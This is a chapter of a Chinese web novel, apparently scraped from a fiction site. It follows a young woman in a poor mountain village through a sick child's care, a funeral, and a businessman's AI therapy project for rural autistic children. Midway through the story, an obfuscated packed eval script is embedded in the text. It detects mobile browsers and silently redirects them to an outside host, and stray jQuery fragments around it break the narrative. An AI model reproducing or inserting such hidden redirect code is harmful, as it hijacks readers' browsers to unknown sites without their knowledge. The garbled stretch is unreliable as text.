16. 风月

作品:《风月颂你

    沉默的气氛弥漫在两人之间。


    她坐在床前的圆凳上握着小男孩的手,沈积安站在不远处,一直在看手机上的消息。


    输液管里,药水一滴一滴落下,王枝枝睡得比刚才安稳了一点。


    叶元因盯着即将见底的生理盐水吊瓶,起身去拿另一瓶药液。


    他的视线追随着她,四面打量一下——普通农户,堂屋一间,水泥地面,灰白墙面,室内毫无规划可言。四四方方的空间里,摆着床、沙发和包了浆的桌椅,任一台面,无一不摆放着堆积着一层灰尘的凌乱杂物。


    沈积安将目光又转了回来。


    只见床和床头的柜子间勉强塞进去一根脱了漆皮的白色铁皮棍,高两米有余,上下直通通的,毫无凭恃。只有顶端焊了几个弧形的钩子,用来挂玻璃吊瓶。


    叶元因踮起脚,连抓了两下都没够着架子上的输液瓶。


    她凹着身子,手上吃力的又划了个抛物线。


    沈积安收起手机,走过来帖在她身侧,轻松取下来递到她手中。


    凤姨家的大窗户上贴着横平竖直的墨绿色小格膜纸,膜纸在风吹日晒下褪去了一角,颜色也不再鲜艳。她仰头,见院子里的光透进来,摇摆的灰绿色落在他英俊嶙峋的面庞上,看起来动人心魄。


    她连忙垂眸道谢。


    沈积安看着她换药的动作,道:“杨阿姨前几日还问起你。”


    “她们好吗?”


    “夏夏很想你。”


    叶元因从善如流的说:“我也想她。”


    沈积安突然笑了,明明她早已在心里划下一条泾渭分明的楚河汉界。


    她莫名其妙看过来,他正色又道:“听杨阿姨说,我父亲的最后一程是你陪他走完的。”


    她点了点头,那更是前尘往事了。


    “我还会在这里待一阵子,如果需要我帮忙,尽管说。”他又补充了一句,“就当作是你照顾我父亲的谢礼。”


    叶元因觉得诧异,“你要长住?”


    “嗯,有个关于乡村孤独症群体的AI疗愈项目启动了。县里觉得,九陶村很有代表性。过几天,公司的前期考察团队就会过来。”


    叶元因转头去看躺在床上的王枝枝,眼神里露着丝怜悯。


    枝枝小的时候就跟其他孩子不一样,因为家里没钱,干预的又晚,现在已经很严重了。


    其实,来到村里帮扶的外地人并不少,他们打着慈善的名义,有人捐款有人捐物,拉一条红色的条幅,拍几张照片,做一下宣传。来时轰轰烈烈,等真的开始就村里的现状提要求了,却又铩羽而归解决不了任何实际问题。


    她望向身边的男人,并未抱太大希望。“但愿项目推进顺利。”


    *


    第二天是王奶奶的葬礼。


    叶元因是在村里上的小学,那时爸爸还在县里教书,阿妈做陶顾不上她,便会央请王奶奶代为照顾。


    从村小出来,幼年的叶元因总能第一眼看见她。


    那时王奶奶的眼睛还没有坏,齐肩的头发梳理得整整齐齐,穿一件带复杂黑色纹样的天青色盘扣上衣,黑色的裤子黑色的布鞋,白袜子洗的干干净净,是那样利利索索的冲着她招手笑,“阿因,快过来。”


    后来,山里下暴雪,积雪压断了房梁。儿子和儿媳都没了,只有她和跟着她睡的一对龙凤胎逃了出来。


    从那以后,她的眼睛就哭坏了。


    山里人的命总是格外脆弱些,大自然犯错的几率又高,不晓得什么时候就会一无所有。


    叶元因抚着手机壳上的石拓佛像,心想菩萨也疏于去护佑这些淳朴却贫穷的灵魂。


    村里的送葬队伍不长,白色中空的纸钱洒下来,像是一捆绳索将人缚得紧紧的。她站在里面,听着丫丫撕心裂肺的哭声,眼泪顺着脸颊汹涌而下。


    下午四点来钟,村主任郑宝山又来了,他双手提着两个大行李箱,紫色的面膛鼓涨着活像只河豚。


    马秘书紧随其后,双手环抱着两个摞在一起的整理箱,看起来十分轻松。


    那时叶元因正在睡午觉,心力交瘁之下,开始做梦。


    因为上次的“恶犬”事件,她总是尽可能的避开了尤敬。


    尤敬对她,却开始死缠烂打。


    他公开表示要追求她,开着豪车在校园里围追堵截,让一众吃瓜群众围着她拍照爆料,校园里的论坛关于两人的帖子永远真真假假,像在看一场早晚会散伙的笑话。


    他孔雀开屏似的性格学不会什么叫低调,叶元因却因为淳朴的打扮屡屡成为众人吐槽的对象。


    她觉得窘迫。


    生活被剧烈的撕开个口子,羡慕、质疑、诽谤、骚扰结伴而来,打破了她原本就对城市认知匮乏的生活。


    就像一个还没有做好准备要盛开的人,突然被大众掰开了层层花瓣,留她一个人赤诚袒露,无地自容。


    更何况,他还有很多爱慕者。


    那些人,总是会开很恶劣的玩笑。


    无故泼来的脏水,洗了很快又被弄脏的衣服,永远找不到的牙刷和水杯。直到有一次外出写生,高速行驶的大巴车里,她们玩笑似的拿毛巾捂住了她的眼睛,粗鲁撕扯着她的上衣和裙子……


    带教老师到来前的那几秒,是她此生中最灰暗的集中营。


    叶元因双拳紧攥,满头大汗从睡梦中惊醒。


    心脏剧烈轰鸣,脑子却无比的昏昧。


    她听见院子里嘈杂的声音,随手拿起搁在一边的衣服穿上,顺着竹子做的楼梯走下来。


    沈积安穿了件休闲款的藏蓝色带帽卫衣,袖子推到小臂,阿妈正在教他筛陶土。他从未做过这种粗活,也掌握不了要领,衣服上沾满了灰尘。


    看叶元因下来,阿妈带着埋怨说了她一句:“怎么睡到这样晚,还要让沈先生替你做活。”


    说完便走进厨房开始准备晚上的饭菜。


    叶元因心里不畅,把对有钱人肆意妄为的成见迁延到他身上,她板着一张脸,冷冰冰的对眼前的男人说:“您受累了,我来吧。”


    沈积安抬头,见她穿了件黑底带红蓝色花纹的交领粗布短款上衣,下面穿着件同色窄筒的裙子,一双眼睛仍是泛着肿,对围着她转来转去的猫咪不耐烦的说:“走开!春分,离我远点!”


    他强压着嘴角的笑意,心想这姑娘好大的起床气,便往旁边挪一挪给她让出个位置。


    叶元因看他又重新拿起筛子,连忙伸手夺过来,没好气的说:“你哪会做这个。弄脏了衣服还要别人帮你洗。”


    他浅浅笑着,像是在哄她。“不用你洗,我可以自己洗。”


    “谁说我要洗?”她炸了毛似的说:“我又不是杨阿姨。”


    说完却也觉得自己僭越了,这顿脾气发的毫无来处,十分惹人厌。她微窘了面庞,放下手中的筛子便要去厨房。


    这时马秘书拉着行李箱进来,跟叶元因恭敬的打个招呼,又往楼上爸爸的书房里去了。


    叶元因顿住脚步,纳闷转头,问他:“你还要住在这里?”


    “是。”


    她觉得不便,态度不善道:“村里应该有招待所。”


    “我住不惯。”沈积安又加了层砝码,“龙书记和你妈妈都同意的。”


    叶元因被他将一军,气滞道:“随便你。”


    *


    龙家三女最近照顾王家的一双姐弟十分受累,下午又为了沈积安借住的事忙前忙后,晚饭后不久,她便早早去休息了。


    山中四月的夜晚,空气中泛着敌对的寒意。


    王


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188947|165403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    丫丫翻着叶元因小时候看过的图画书,问:“阿姐,今年这时节还会下雪吗?”


    “看样子会的。”


    小姑娘思念去世的王奶奶,红着眼睛道:“那奶奶就不用再把一层一层的塑料布裹在房子外面了。”


    每到下雪天,他们都不敢睡在屋子里,不管外面有多冷,她和弟弟都得住进临时搭建的简陋砖房里,唯恐一场大雪又会要了彼此的命。


    叶元因握住她的手,触摸到困苦的生活过早留在她掌心里的嶙峋纹路。


    沈积安在堂屋里找了张桌子,打开笔记本电脑正在跟技术团队的成员开视频会。


    项目前期储备阶段,大家都没有明确的方向,想到什么便说什么。到底要做个什么东西出来,做到什么程度,会有什么前景,谁心里都没底。


    政策的导向足够明确,但行业内能做出来的精品寥寥无几。既要找到创新技术的精准结合点,还要做出一款大众接受度高的产品,其实是一件不太容易的事。


    他听着大家的发言,转头往院子里望去,见王枝枝一个人坐在青石铺成的台阶上,嘴巴里念念有词,也不知道在说些什么。


    沈积安是个做决策的人,所有人的意见最终都会归结到他这里,眼下无数双眼睛盯着他,终究逃不过三个字——怎么办?


    他收回自己注视着王枝枝的目光,道:“目前我们能做的,就是尽可能去收集一些农村有心理问题的孩子的样本案例。好比一个胃癌患者的病理切片,用数据就可以快速精准分析到发生病变的具体部位,这样就会给医生留出足够多的时间去处理其他工作。”


    “自闭症等问题患儿的分析也是一样,医疗赛道拥挤,我们可以做艺术疗愈。搜集尽可能多的样本案例,研发一个疗愈软件,辅助家长提前干预治疗,我想未来的发展前景应该不错。”


    视频会议结束,他走出堂屋坐到了王枝枝身边。


    小男孩觑他一眼,继续沉浸在自己的世界里。沈积安低头,看见他拿着根小树枝在地上画了很多自己看不懂的符号。


    他指着其中一个套了三个圆圈最后又长出一个不闭合的三角形图案,问他:“这是什么意思?”


    小男孩好似没听见他的话,缩成一团,继续躲在自己的世界里自说自话。


    沈积安起身。


    院子里只接了一盏灯,他瘦高的身影站在光圈之下,突然天空开始飘雪,无数雪影如飞蛾扑火般匆忙扑向他。


    王丫丫阖上书本,说:“阿叔,你不要管枝枝。他在跟星星说话呢。”


    山里天气多变,下午马秘书帮着搬东西时特意送过来几把伞。沈积安进屋,黑色的伞被他撑开,山风裹挟着雪粒,他稳稳握住了那把像是犯了癫痫的伞。


    伞下,王枝枝嘴巴里嘟囔着,手中的小木棍没有停过。


    沈积安始终未发一言,伞遮住孩子,雪落了他一身。


    把两个孩子都安顿好之后,叶元因突然想起院子里还有衣服没有摘。她从楼上下来,发现沈积安正在院子里抽烟。


    黑伞斜支在地上,他一只手抄进裤兜,用那只夹着烟的拇指挠了挠额头,看起来有点严厉,像是在思考着什么。


    院子里已经铺了一层白。


    叶元因拍掉晾衣绳上的雪,把衣服一件一件摘下来。沈积安熄了烟,过来给她帮忙。


    “小叶。”


    他蓦地开口,叶元因愣了一下,问:“怎么了?”


    “村里像枝枝这样的孩子多吗?”


    “不少,”她仰头,伸长了胳膊去够高处的短衣服,“家家有本难念的经。父母不在家,孩子们的问题总是很多。”


    沈积安轻松取下衣服搁到她手上,问:“你有没有兴趣跟我合作?”


    叶元因疑惑的看着他。